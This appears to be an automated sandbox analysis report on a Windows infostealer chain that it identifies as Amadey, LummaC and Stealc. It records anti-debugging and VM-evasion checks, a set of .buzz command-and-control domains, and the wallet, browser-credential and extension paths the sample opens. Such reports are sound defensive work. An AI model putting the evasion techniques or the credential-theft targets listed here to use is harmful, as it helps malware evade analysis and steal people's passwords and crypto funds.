Source: C:\Users\user\Desktop\oTZfvSwHTq.exe TID: 4580	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe TID: 3524	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2616	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3648	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3648	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3832	Thread sleep count: 403 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3832	Thread sleep time: -12090000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7124	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6676	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6676	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4200	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3832	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1919446085.000000000091C000.00000040.00000001.01000000.00000006.sdmp, 0Y9DS4ACOZHRKTJZLIK3.exe, 00000005.00000000.1860366588.00000000006B9000.00000080.00000001.01000000.00000007.sdmp, 0Y9DS4ACOZHRKTJZLIK3.exe, 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000008.00000000.1893900285.0000000000B39000.00000080.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000000.2138085287.0000000000B39000.00000080.00000001.01000000.0000000A.sdmp, skotes.exe.5.dr, 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: oTZfvSwHTq.exe, oTZfvSwHTq.exe, 00000000.00000003.1680462765.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1613521771.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1506800871.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507010232.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000009.00000002.2703742850.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000009.00000002.2703742850.0000000001217000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: skotes.exe, 00000009.00000002.2703742850.0000000001217000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 0Y9DS4ACOZHRKTJZLIK3.exe, 00000005.00000003.1890334370.0000000000B80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1919446085.000000000091C000.00000040.00000001.01000000.00000006.sdmp, 0Y9DS4ACOZHRKTJZLIK3.exe, 00000005.00000000.1860366588.00000000006B9000.00000080.00000001.01000000.00000007.sdmp, 0Y9DS4ACOZHRKTJZLIK3.exe, 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000008.00000000.1893900285.0000000000B39000.00000080.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000000.2138085287.0000000000B39000.00000080.00000001.01000000.0000000A.sdmp, skotes.exe.5.dr, 0Y9DS4ACOZHRKTJZLIK3.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: oTZfvSwHTq.exe, 00000000.00000003.1551572114.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node			graph_8-10125
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node			graph_8-10132

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

Code function: 5_2_048B0C42 rdtsc

5_2_048B0C42

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_004F652B mov eax, dword ptr fs:[00000030h]	5_2_004F652B
Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	Code function: 5_2_004FA302 mov eax, dword ptr fs:[00000030h]	5_2_004FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0097A302 mov eax, dword ptr fs:[00000030h]	8_2_0097A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0097652B mov eax, dword ptr fs:[00000030h]	8_2_0097652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_0097A302 mov eax, dword ptr fs:[00000030h]	9_2_0097A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_0097652B mov eax, dword ptr fs:[00000030h]	9_2_0097652B

Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe PID: 4268, type: MEMORYSTR

LummaC encrypted strings found

Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: oTZfvSwHTq.exe, 00000000.00000003.1461017793.0000000005110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Jump to behavior

Source: 0Y9DS4ACOZHRKTJZLIK3.exe, 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Program Manager
Source: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1919854617.000000000095F000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: OTCProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 9_2_0095DD91 cpuid

9_2_0095DD91

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

Code function: 5_2_004DCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_004DCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 9_2_009465E0 LookupAccountNameA,

9_2_009465E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 9_2_00982517 GetTimeZoneInformation,

9_2_00982517

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: oTZfvSwHTq.exe, 00000000.00000003.1680399884.0000000001366000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1654730350.0000000001366000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1767773855.0000000001366000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s%\Windows Defender\MsMpeng.exe
Source: oTZfvSwHTq.exe, 00000000.00000003.1636458892.0000000001366000.00000004.00000020.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1640309654.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 5.2.0Y9DS4ACOZHRKTJZLIK3.exe.4c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.skotes.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.skotes.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: oTZfvSwHTq.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1918637136.0000000000541000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1921028506.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe PID: 4268, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: oTZfvSwHTq.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: oTZfvSwHTq.exe	String found in binary or memory: Wallets/ElectronCash
Source: oTZfvSwHTq.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: oTZfvSwHTq.exe	String found in binary or memory: window-state.json
Source: oTZfvSwHTq.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: oTZfvSwHTq.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: oTZfvSwHTq.exe	String found in binary or memory: %appdata%\Ethereum
Source: oTZfvSwHTq.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: oTZfvSwHTq.exe, 00000000.00000003.1636643992.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
